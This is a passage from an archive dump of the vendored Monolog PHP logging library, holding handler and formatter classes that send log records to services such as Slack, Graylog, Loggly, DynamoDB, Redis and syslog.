->setLevel($this->logLevels[$record['level']]); // message length + system name length + 200 for padding / metadata $len = 200 + strlen((string) $record['message']) + strlen($this->systemName); if ($len > $this->maxLength) { $message->setShortMessage(Utils::substr($record['message'], 0, $this->maxLength)); } if (isset($record['channel'])) { $message->setFacility($record['channel']); } if (isset($extra['line'])) { $message->setLine($extra['line']); unset($extra['line']); } if (isset($extra['file'])) { $message->setFile($extra['file']); unset($extra['file']); } foreach ($extra as $key => $val) { $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = strlen($this->extraPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->extraPrefix . $key, Utils::substr((string) $val, 0, $this->maxLength)); continue; } $message->setAdditional($this->extraPrefix . $key, $val); } foreach ($context as $key => $val) { $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = strlen($this->contextPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->contextPrefix . $key, Utils::substr((string) $val, 0, $this->maxLength)); continue; } $message->setAdditional($this->contextPrefix . $key, $val); } /** @phpstan-ignore-next-line */ if (null === $message->getFile() && isset($context['exception']['file'])) { if (preg_match("/^(.+):([0-9]+)$/", $context['exception']['file'], $matches)) { $message->setFile($matches[1]); $message->setLine($matches[2]); } } return $message; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/Curl/Util.php000064400000003547147577714370022417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\Curl; use CurlHandle; /** * This class is marked as internal and it is not under the BC promise of the package. * * @internal */ final class Util { /** @var array */ private static $retriableErrorCodes = [ CURLE_COULDNT_RESOLVE_HOST, CURLE_COULDNT_CONNECT, CURLE_HTTP_NOT_FOUND, CURLE_READ_ERROR, CURLE_OPERATION_TIMEOUTED, CURLE_HTTP_POST_ERROR, CURLE_SSL_CONNECT_ERROR, ]; /** * Executes a CURL request with optional retries and exception on failure * * @param resource|CurlHandle $ch curl handler * @param int $retries * @param bool $closeAfterDone * @return bool|string @see curl_exec */ public static function execute($ch, int $retries = 5, bool $closeAfterDone = true) { while ($retries--) { $curlResponse = curl_exec($ch); if ($curlResponse === false) { $curlErrno = curl_errno($ch); if (false === in_array($curlErrno, self::$retriableErrorCodes, true) || !$retries) { $curlError = curl_error($ch); if ($closeAfterDone) { curl_close($ch); } throw new \RuntimeException(sprintf('Curl error (code %d): %s', $curlErrno, $curlError)); } continue; } if ($closeAfterDone) { curl_close($ch); } return $curlResponse; } return false; } } vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php000064400000004634147577714370031541 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; use Monolog\Logger; use Psr\Log\LogLevel; /** * Channel and Error level based monolog activation strategy. Allows to trigger activation * based on level per channel. e.g. trigger activation on level 'ERROR' by default, except * for records of the 'sql' channel; those should trigger activation on level 'WARN'. * * Example: * * * $activationStrategy = new ChannelLevelActivationStrategy( * Logger::CRITICAL, * array( * 'request' => Logger::ALERT, * 'sensitive' => Logger::ERROR, * ) * ); * $handler = new FingersCrossedHandler(new StreamHandler('php://stderr'), $activationStrategy); * * * @author Mike Meessen * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class ChannelLevelActivationStrategy implements ActivationStrategyInterface { /** * @var Level */ private $defaultActionLevel; /** * @var array */ private $channelToActionLevel; /** * @param int|string $defaultActionLevel The default action level to be used if the record's category doesn't match any * @param array $channelToActionLevel An array that maps channel names to action levels. * * @phpstan-param array $channelToActionLevel * @phpstan-param Level|LevelName|LogLevel::* $defaultActionLevel */ public function __construct($defaultActionLevel, array $channelToActionLevel = []) { $this->defaultActionLevel = Logger::toMonologLevel($defaultActionLevel); $this->channelToActionLevel = array_map('Monolog\Logger::toMonologLevel', $channelToActionLevel); } /** * @phpstan-param Record $record */ public function isHandlerActivated(array $record): bool { if (isset($this->channelToActionLevel[$record['channel']])) { return $record['level'] >= $this->channelToActionLevel[$record['channel']]; } return $record['level'] >= $this->defaultActionLevel; } } vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php000064400000002116147577714370031253 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; use Monolog\Logger; use Psr\Log\LogLevel; /** * Error level based activation strategy. * * @author Johannes M. Schmitt * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class ErrorLevelActivationStrategy implements ActivationStrategyInterface { /** * @var Level */ private $actionLevel; /** * @param int|string $actionLevel Level or name or value * * @phpstan-param Level|LevelName|LogLevel::* $actionLevel */ public function __construct($actionLevel) { $this->actionLevel = Logger::toMonologLevel($actionLevel); } public function isHandlerActivated(array $record): bool { return $record['level'] >= $this->actionLevel; } } vendor/monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php000064400000001320147577714370031066 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\FingersCrossed; /** * Interface for activation strategies for the FingersCrossedHandler. * * @author Johannes M. Schmitt * * @phpstan-import-type Record from \Monolog\Logger */ interface ActivationStrategyInterface { /** * Returns whether the given record activates the handler. * * @phpstan-param Record $record */ public function isHandlerActivated(array $record): bool; } res/readability/vendor/monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php000064400000024677147577714370024035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\Slack; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; /** * Slack record utility helping to log to Slack webhooks or API. * * @author Greg Kedzierski * @author Haralan Dobrev * @see https://api.slack.com/incoming-webhooks * @see https://api.slack.com/docs/message-attachments * * @phpstan-import-type FormattedRecord from \Monolog\Handler\AbstractProcessingHandler * @phpstan-import-type Record from \Monolog\Logger */ class SlackRecord { public const COLOR_DANGER = 'danger'; public const COLOR_WARNING = 'warning'; public const COLOR_GOOD = 'good'; public const COLOR_DEFAULT = '#e3e4e6'; /** * Slack channel (encoded ID or name) * @var string|null */ private $channel; /** * Name of a bot * @var string|null */ private $username; /** * User icon e.g. 'ghost', 'http://example.com/user.png' * @var string|null */ private $userIcon; /** * Whether the message should be added to Slack as attachment (plain text otherwise) * @var bool */ private $useAttachment; /** * Whether the the context/extra messages added to Slack as attachments are in a short style * @var bool */ private $useShortAttachment; /** * Whether the attachment should include context and extra data * @var bool */ private $includeContextAndExtra; /** * Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @var string[] */ private $excludeFields; /** * @var ?FormatterInterface */ private $formatter; /** * @var NormalizerFormatter */ private $normalizerFormatter; /** * @param string[] $excludeFields */ public function __construct( ?string $channel = null, ?string $username = null, bool $useAttachment = true, ?string $userIcon = null, bool $useShortAttachment = false, bool $includeContextAndExtra = false, array $excludeFields = array(), FormatterInterface $formatter = null ) { $this ->setChannel($channel) ->setUsername($username) ->useAttachment($useAttachment) ->setUserIcon($userIcon) ->useShortAttachment($useShortAttachment) ->includeContextAndExtra($includeContextAndExtra) ->excludeFields($excludeFields) ->setFormatter($formatter); if ($this->includeContextAndExtra) { $this->normalizerFormatter = new NormalizerFormatter(); } } /** * Returns required data in format that Slack * is expecting. * * @phpstan-param FormattedRecord $record * @phpstan-return mixed[] */ public function getSlackData(array $record): array { $dataArray = array(); $record = $this->removeExcludedFields($record); if ($this->username) { $dataArray['username'] = $this->username; } if ($this->channel) { $dataArray['channel'] = $this->channel; } if ($this->formatter && !$this->useAttachment) { /** @phpstan-ignore-next-line */ $message = $this->formatter->format($record); } else { $message = $record['message']; } if ($this->useAttachment) { $attachment = array( 'fallback' => $message, 'text' => $message, 'color' => $this->getAttachmentColor($record['level']), 'fields' => array(), 'mrkdwn_in' => array('fields'), 'ts' => $record['datetime']->getTimestamp(), 'footer' => $this->username, 'footer_icon' => $this->userIcon, ); if ($this->useShortAttachment) { $attachment['title'] = $record['level_name']; } else { $attachment['title'] = 'Message'; $attachment['fields'][] = $this->generateAttachmentField('Level', $record['level_name']); } if ($this->includeContextAndExtra) { foreach (array('extra', 'context') as $key) { if (empty($record[$key])) { continue; } if ($this->useShortAttachment) { $attachment['fields'][] = $this->generateAttachmentField( (string) $key, $record[$key] ); } else { // Add all extra fields as individual fields in attachment $attachment['fields'] = array_merge( $attachment['fields'], $this->generateAttachmentFields($record[$key]) ); } } } $dataArray['attachments'] = array($attachment); } else { $dataArray['text'] = $message; } if ($this->userIcon) { if (filter_var($this->userIcon, FILTER_VALIDATE_URL)) { $dataArray['icon_url'] = $this->userIcon; } else { $dataArray['icon_emoji'] = ":{$this->userIcon}:"; } } return $dataArray; } /** * Returns a Slack message attachment color associated with * provided level. */ public function getAttachmentColor(int $level): string { switch (true) { case $level >= Logger::ERROR: return static::COLOR_DANGER; case $level >= Logger::WARNING: return static::COLOR_WARNING; case $level >= Logger::INFO: return static::COLOR_GOOD; default: return static::COLOR_DEFAULT; } } /** * Stringifies an array of key/value pairs to be used in attachment fields * * @param mixed[] $fields */ public function stringify(array $fields): string { /** @var Record $fields */ $normalized = $this->normalizerFormatter->format($fields); $hasSecondDimension = count(array_filter($normalized, 'is_array')); $hasNonNumericKeys = !count(array_filter(array_keys($normalized), 'is_numeric')); return $hasSecondDimension || $hasNonNumericKeys ? Utils::jsonEncode($normalized, JSON_PRETTY_PRINT|Utils::DEFAULT_JSON_FLAGS) : Utils::jsonEncode($normalized, Utils::DEFAULT_JSON_FLAGS); } /** * Channel used by the bot when posting * * @param ?string $channel * * @return static */ public function setChannel(?string $channel = null): self { $this->channel = $channel; return $this; } /** * Username used by the bot when posting * * @param ?string $username * * @return static */ public function setUsername(?string $username = null): self { $this->username = $username; return $this; } public function useAttachment(bool $useAttachment = true): self { $this->useAttachment = $useAttachment; return $this; } public function setUserIcon(?string $userIcon = null): self { $this->userIcon = $userIcon; if (\is_string($userIcon)) { $this->userIcon = trim($userIcon, ':'); } return $this; } public function useShortAttachment(bool $useShortAttachment = false): self { $this->useShortAttachment = $useShortAttachment; return $this; } public function includeContextAndExtra(bool $includeContextAndExtra = false): self { $this->includeContextAndExtra = $includeContextAndExtra; if ($this->includeContextAndExtra) { $this->normalizerFormatter = new NormalizerFormatter(); } return $this; } /** * @param string[] $excludeFields */ public function excludeFields(array $excludeFields = []): self { $this->excludeFields = $excludeFields; return $this; } public function setFormatter(?FormatterInterface $formatter = null): self { $this->formatter = $formatter; return $this; } /** * Generates attachment field * * @param string|mixed[] $value * * @return array{title: string, value: string, short: false} */ private function generateAttachmentField(string $title, $value): array { $value = is_array($value) ? sprintf('```%s```', substr($this->stringify($value), 0, 1990)) : $value; return array( 'title' => ucfirst($title), 'value' => $value, 'short' => false, ); } /** * Generates a collection of attachment fields from array * * @param mixed[] $data * * @return array */ private function generateAttachmentFields(array $data): array { /** @var Record $data */ $normalized = $this->normalizerFormatter->format($data); $fields = array(); foreach ($normalized as $key => $value) { $fields[] = $this->generateAttachmentField((string) $key, $value); } return $fields; } /** * Get a copy of record with fields excluded according to $this->excludeFields * * @phpstan-param FormattedRecord $record * * @return mixed[] */ private function removeExcludedFields(array $record): array { foreach ($this->excludeFields as $field) { $keys = explode('.', $field); $node = &$record; $lastKey = end($keys); foreach ($keys as $key) { if (!isset($node[$key])) { break; } if ($lastKey === $key) { unset($node[$key]); break; } $node = &$node[$key]; } } return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php000064400000003711147577714370024420 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler\SyslogUdp; use Monolog\Utils; use Socket; class UdpSocket { protected const DATAGRAM_MAX_LENGTH = 65023; /** @var string */ protected $ip; /** @var int */ protected $port; /** @var resource|Socket|null */ protected $socket; public function __construct(string $ip, int $port = 514) { $this->ip = $ip; $this->port = $port; $domain = AF_INET; $protocol = SOL_UDP; // Check if we are using unix sockets. if ($port === 0) { $domain = AF_UNIX; $protocol = IPPROTO_IP; } $this->socket = socket_create($domain, SOCK_DGRAM, $protocol) ?: null; } /** * @param string $line * @param string $header * @return void */ public function write($line, $header = "") { $this->send($this->assembleMessage($line, $header)); } public function close(): void { if (is_resource($this->socket) || $this->socket instanceof Socket) { socket_close($this->socket); $this->socket = null; } } protected function send(string $chunk): void { if (!is_resource($this->socket) && !$this->socket instanceof Socket) { throw new \RuntimeException('The UdpSocket to '.$this->ip.':'.$this->port.' has been closed and can not be written to anymore'); } socket_sendto($this->socket, $chunk, strlen($chunk), $flags = 0, $this->ip, $this->port); } protected function assembleMessage(string $line, string $header): string { $chunkSize = static::DATAGRAM_MAX_LENGTH - strlen($header); return $header . Utils::substr($line, 0, $chunkSize); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php000064400000003311147577714370025326 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\ResettableInterface; use Monolog\Processor\ProcessorInterface; /** * Helper trait for implementing ProcessableInterface * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger */ trait ProcessableHandlerTrait { /** * @var callable[] * @phpstan-var array */ protected $processors = []; /** * {@inheritDoc} */ public function pushProcessor(callable $callback): HandlerInterface { array_unshift($this->processors, $callback); return $this; } /** * {@inheritDoc} */ public function popProcessor(): callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return array_shift($this->processors); } /** * Processes a record. * * @phpstan-param Record $record * @phpstan-return Record */ protected function processRecord(array $record): array { foreach ($this->processors as $processor) { $record = $processor($record); } return $record; } protected function resetProcessors(): void { foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ProcessHandler.php000064400000012137147577714370023504 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Stores to STDIN of any process, specified by a command. * * Usage example: *
               * $log = new Logger('myLogger');
               * $log->pushHandler(new ProcessHandler('/usr/bin/php /var/www/monolog/someScript.php'));
               * 
              * * @author Kolja Zuelsdorf */ class ProcessHandler extends AbstractProcessingHandler { /** * Holds the process to receive data on its STDIN. * * @var resource|bool|null */ private $process; /** * @var string */ private $command; /** * @var string|null */ private $cwd; /** * @var resource[] */ private $pipes = []; /** * @var array */ protected const DESCRIPTOR_SPEC = [ 0 => ['pipe', 'r'], // STDIN is a pipe that the child will read from 1 => ['pipe', 'w'], // STDOUT is a pipe that the child will write to 2 => ['pipe', 'w'], // STDERR is a pipe to catch the any errors ]; /** * @param string $command Command for the process to start. Absolute paths are recommended, * especially if you do not use the $cwd parameter. * @param string|null $cwd "Current working directory" (CWD) for the process to be executed in. * @throws \InvalidArgumentException */ public function __construct(string $command, $level = Logger::DEBUG, bool $bubble = true, ?string $cwd = null) { if ($command === '') { throw new \InvalidArgumentException('The command argument must be a non-empty string.'); } if ($cwd === '') { throw new \InvalidArgumentException('The optional CWD argument must be a non-empty string or null.'); } parent::__construct($level, $bubble); $this->command = $command; $this->cwd = $cwd; } /** * Writes the record down to the log of the implementing handler * * @throws \UnexpectedValueException */ protected function write(array $record): void { $this->ensureProcessIsStarted(); $this->writeProcessInput($record['formatted']); $errors = $this->readProcessErrors(); if (empty($errors) === false) { throw new \UnexpectedValueException(sprintf('Errors while writing to process: %s', $errors)); } } /** * Makes sure that the process is actually started, and if not, starts it, * assigns the stream pipes, and handles startup errors, if any. */ private function ensureProcessIsStarted(): void { if (is_resource($this->process) === false) { $this->startProcess(); $this->handleStartupErrors(); } } /** * Starts the actual process and sets all streams to non-blocking. */ private function startProcess(): void { $this->process = proc_open($this->command, static::DESCRIPTOR_SPEC, $this->pipes, $this->cwd); foreach ($this->pipes as $pipe) { stream_set_blocking($pipe, false); } } /** * Selects the STDERR stream, handles upcoming startup errors, and throws an exception, if any. * * @throws \UnexpectedValueException */ private function handleStartupErrors(): void { $selected = $this->selectErrorStream(); if (false === $selected) { throw new \UnexpectedValueException('Something went wrong while selecting a stream.'); } $errors = $this->readProcessErrors(); if (is_resource($this->process) === false || empty($errors) === false) { throw new \UnexpectedValueException( sprintf('The process "%s" could not be opened: ' . $errors, $this->command) ); } } /** * Selects the STDERR stream. * * @return int|bool */ protected function selectErrorStream() { $empty = []; $errorPipes = [$this->pipes[2]]; return stream_select($errorPipes, $empty, $empty, 1); } /** * Reads the errors of the process, if there are any. * * @codeCoverageIgnore * @return string Empty string if there are no errors. */ protected function readProcessErrors(): string { return (string) stream_get_contents($this->pipes[2]); } /** * Writes to the input stream of the opened process. * * @codeCoverageIgnore */ protected function writeProcessInput(string $string): void { fwrite($this->pipes[0], $string); } /** * {@inheritDoc} */ public function close(): void { if (is_resource($this->process)) { foreach ($this->pipes as $pipe) { fclose($pipe); } proc_close($this->process); $this->process = null; } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/HandlerInterface.php000064400000005730147577714370023767 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Interface that all Monolog Handlers must implement * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger */ interface HandlerInterface { /** * Checks whether the given record will be handled by this handler. * * This is mostly done for performance reasons, to avoid calling processors for nothing. * * Handlers should still check the record levels within handle(), returning false in isHandling() * is no guarantee that handle() will not be called, and isHandling() might not be called * for a given record. * * @param array $record Partial log record containing only a level key * * @return bool * * @phpstan-param array{level: Level} $record */ public function isHandling(array $record): bool; /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * @param array $record The record to handle * @return bool true means that this handler handled the record, and that bubbling is not permitted. * false means the record was either not processed or that this handler allows bubbling. * * @phpstan-param Record $record */ public function handle(array $record): bool; /** * Handles a set of records at once. * * @param array $records The records to handle (an array of record arrays) * * @phpstan-param Record[] $records */ public function handleBatch(array $records): void; /** * Closes the handler. * * Ends a log cycle and frees all resources used by the handler. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * * Implementations have to be idempotent (i.e. it should be possible to call close several times without breakage) * and ideally handlers should be able to reopen themselves on handle() after they have been closed. * * This is useful at the end of a request and will be called automatically when the object * is destroyed if you extend Monolog\Handler\Handler. * * If you are thinking of calling this method yourself, most likely you should be * calling ResettableInterface::reset instead. Have a look. */ public function close(): void; } res/readability/vendor/monolog/monolog/src/Monolog/Handler/GelfHandler.php000064400000002567147577714370022751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Gelf\PublisherInterface; use Monolog\Logger; use Monolog\Formatter\GelfMessageFormatter; use Monolog\Formatter\FormatterInterface; /** * Handler to send messages to a Graylog2 (http://www.graylog2.org) server * * @author Matt Lehner * @author Benjamin Zikarsky */ class GelfHandler extends AbstractProcessingHandler { /** * @var PublisherInterface the publisher object that sends the message to the server */ protected $publisher; /** * @param PublisherInterface $publisher a gelf publisher object */ public function __construct(PublisherInterface $publisher, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->publisher = $publisher; } /** * {@inheritDoc} */ protected function write(array $record): void { $this->publisher->publish($record['formatted']); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new GelfMessageFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php000064400000004662147577714370023567 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Aws\Sdk; use Aws\DynamoDb\DynamoDbClient; use Monolog\Formatter\FormatterInterface; use Aws\DynamoDb\Marshaler; use Monolog\Formatter\ScalarFormatter; use Monolog\Logger; /** * Amazon DynamoDB handler (http://aws.amazon.com/dynamodb/) * * @link https://github.com/aws/aws-sdk-php/ * @author Andrew Lawson */ class DynamoDbHandler extends AbstractProcessingHandler { public const DATE_FORMAT = 'Y-m-d\TH:i:s.uO'; /** * @var DynamoDbClient */ protected $client; /** * @var string */ protected $table; /** * @var int */ protected $version; /** * @var Marshaler */ protected $marshaler; public function __construct(DynamoDbClient $client, string $table, $level = Logger::DEBUG, bool $bubble = true) { /** @phpstan-ignore-next-line */ if (defined('Aws\Sdk::VERSION') && version_compare(Sdk::VERSION, '3.0', '>=')) { $this->version = 3; $this->marshaler = new Marshaler; } else { $this->version = 2; } $this->client = $client; $this->table = $table; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $filtered = $this->filterEmptyFields($record['formatted']); if ($this->version === 3) { $formatted = $this->marshaler->marshalItem($filtered); } else { /** @phpstan-ignore-next-line */ $formatted = $this->client->formatAttributes($filtered); } $this->client->putItem([ 'TableName' => $this->table, 'Item' => $formatted, ]); } /** * @param mixed[] $record * @return mixed[] */ protected function filterEmptyFields(array $record): array { return array_filter($record, function ($value) { return !empty($value) || false === $value || 0 === $value; }); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ScalarFormatter(self::DATE_FORMAT); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php000064400000006610147577714370024313 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; use Swift_Message; use Swift; /** * SwiftMailerHandler uses Swift_Mailer to send the emails * * @author Gyula Sallai * * @phpstan-import-type Record from \Monolog\Logger */ class SwiftMailerHandler extends MailHandler { /** @var \Swift_Mailer */ protected $mailer; /** @var Swift_Message|callable(string, Record[]): Swift_Message */ private $messageTemplate; /** * @psalm-param Swift_Message|callable(string, Record[]): Swift_Message $message * * @param \Swift_Mailer $mailer The mailer to use * @param callable|Swift_Message $message An example message for real messages, only the body will be replaced */ public function __construct(\Swift_Mailer $mailer, $message, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); $this->mailer = $mailer; $this->messageTemplate = $message; } /** * {@inheritDoc} */ protected function send(string $content, array $records): void { $this->mailer->send($this->buildMessage($content, $records)); } /** * Gets the formatter for the Swift_Message subject. * * @param string|null $format The format of the subject */ protected function getSubjectFormatter(?string $format): FormatterInterface { return new LineFormatter($format); } /** * Creates instance of Swift_Message to be sent * * @param string $content formatted email body to be sent * @param array $records Log records that formed the content * @return Swift_Message * * @phpstan-param Record[] $records */ protected function buildMessage(string $content, array $records): Swift_Message { $message = null; if ($this->messageTemplate instanceof Swift_Message) { $message = clone $this->messageTemplate; $message->generateId(); } elseif (is_callable($this->messageTemplate)) { $message = ($this->messageTemplate)($content, $records); } if (!$message instanceof Swift_Message) { $record = reset($records); throw new \InvalidArgumentException('Could not resolve message as instance of Swift_Message or a callable returning it' . ($record ? Utils::getRecordMessageForException($record) : '')); } if ($records) { $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); $message->setSubject($subjectFormatter->format($this->getHighestRecord($records))); } $mime = 'text/plain'; if ($this->isHtmlBody($content)) { $mime = 'text/html'; } $message->setBody($content, $mime); /** @phpstan-ignore-next-line */ if (version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { /** @phpstan-ignore-next-line */ $message->setDate(time()); } return $message; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/RedisPubSubHandler.php000064400000003374147577714370024260 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Sends the message to a Redis Pub/Sub channel using PUBLISH * * usage example: * * $log = new Logger('application'); * $redis = new RedisPubSubHandler(new Predis\Client("tcp://localhost:6379"), "logs", Logger::WARNING); * $log->pushHandler($redis); * * @author Gaëtan Faugère */ class RedisPubSubHandler extends AbstractProcessingHandler { /** @var \Predis\Client|\Redis */ private $redisClient; /** @var string */ private $channelKey; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The channel key to publish records to */ public function __construct($redis, string $key, $level = Logger::DEBUG, bool $bubble = true) { if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { throw new \InvalidArgumentException('Predis\Client or Redis instance required'); } $this->redisClient = $redis; $this->channelKey = $key; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->redisClient->publish($this->channelKey, $record["formatted"]); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/LogglyHandler.php000064400000010002147577714370023310 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LogglyFormatter; use function array_key_exists; use CurlHandle; /** * Sends errors to Loggly. * * @author Przemek Sobstel * @author Adam Pancutt * @author Gregory Barchard */ class LogglyHandler extends AbstractProcessingHandler { protected const HOST = 'logs-01.loggly.com'; protected const ENDPOINT_SINGLE = 'inputs'; protected const ENDPOINT_BATCH = 'bulk'; /** * Caches the curl handlers for every given endpoint. * * @var resource[]|CurlHandle[] */ protected $curlHandlers = []; /** @var string */ protected $token; /** @var string[] */ protected $tag = []; /** * @param string $token API token supplied by Loggly * * @throws MissingExtensionException If the curl extension is missing */ public function __construct(string $token, $level = Logger::DEBUG, bool $bubble = true) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the LogglyHandler'); } $this->token = $token; parent::__construct($level, $bubble); } /** * Loads and returns the shared curl handler for the given endpoint. * * @param string $endpoint * * @return resource|CurlHandle */ protected function getCurlHandler(string $endpoint) { if (!array_key_exists($endpoint, $this->curlHandlers)) { $this->curlHandlers[$endpoint] = $this->loadCurlHandle($endpoint); } return $this->curlHandlers[$endpoint]; } /** * Starts a fresh curl session for the given endpoint and returns its handler. * * @param string $endpoint * * @return resource|CurlHandle */ private function loadCurlHandle(string $endpoint) { $url = sprintf("https://%s/%s/%s/", static::HOST, $endpoint, $this->token); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return $ch; } /** * @param string[]|string $tag */ public function setTag($tag): self { $tag = !empty($tag) ? $tag : []; $this->tag = is_array($tag) ? $tag : [$tag]; return $this; } /** * @param string[]|string $tag */ public function addTag($tag): self { if (!empty($tag)) { $tag = is_array($tag) ? $tag : [$tag]; $this->tag = array_unique(array_merge($this->tag, $tag)); } return $this; } protected function write(array $record): void { $this->send($record["formatted"], static::ENDPOINT_SINGLE); } public function handleBatch(array $records): void { $level = $this->level; $records = array_filter($records, function ($record) use ($level) { return ($record['level'] >= $level); }); if ($records) { $this->send($this->getFormatter()->formatBatch($records), static::ENDPOINT_BATCH); } } protected function send(string $data, string $endpoint): void { $ch = $this->getCurlHandler($endpoint); $headers = ['Content-Type: application/json']; if (!empty($this->tag)) { $headers[] = 'X-LOGGLY-TAG: '.implode(',', $this->tag); } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); Curl\Util::execute($ch, 5, false); } protected function getDefaultFormatter(): FormatterInterface { return new LogglyFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php000064400000012245147577714370022744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Logs to Cube. * * @link http://square.github.com/cube/ * @author Wan Chen */ class CubeHandler extends AbstractProcessingHandler { /** @var resource|\Socket|null */ private $udpConnection = null; /** @var resource|\CurlHandle|null */ private $httpConnection = null; /** @var string */ private $scheme; /** @var string */ private $host; /** @var int */ private $port; /** @var string[] */ private $acceptedSchemes = ['http', 'udp']; /** * Create a Cube handler * * @throws \UnexpectedValueException when given url is not a valid url. * A valid url must consist of three parts : protocol://host:port * Only valid protocols used by Cube are http and udp */ public function __construct(string $url, $level = Logger::DEBUG, bool $bubble = true) { $urlInfo = parse_url($url); if ($urlInfo === false || !isset($urlInfo['scheme'], $urlInfo['host'], $urlInfo['port'])) { throw new \UnexpectedValueException('URL "'.$url.'" is not valid'); } if (!in_array($urlInfo['scheme'], $this->acceptedSchemes)) { throw new \UnexpectedValueException( 'Invalid protocol (' . $urlInfo['scheme'] . ').' . ' Valid options are ' . implode(', ', $this->acceptedSchemes) ); } $this->scheme = $urlInfo['scheme']; $this->host = $urlInfo['host']; $this->port = (int) $urlInfo['port']; parent::__construct($level, $bubble); } /** * Establish a connection to an UDP socket * * @throws \LogicException when unable to connect to the socket * @throws MissingExtensionException when there is no socket extension */ protected function connectUdp(): void { if (!extension_loaded('sockets')) { throw new MissingExtensionException('The sockets extension is required to use udp URLs with the CubeHandler'); } $udpConnection = socket_create(AF_INET, SOCK_DGRAM, 0); if (false === $udpConnection) { throw new \LogicException('Unable to create a socket'); } $this->udpConnection = $udpConnection; if (!socket_connect($this->udpConnection, $this->host, $this->port)) { throw new \LogicException('Unable to connect to the socket at ' . $this->host . ':' . $this->port); } } /** * Establish a connection to an http server * * @throws \LogicException when unable to connect to the socket * @throws MissingExtensionException when no curl extension */ protected function connectHttp(): 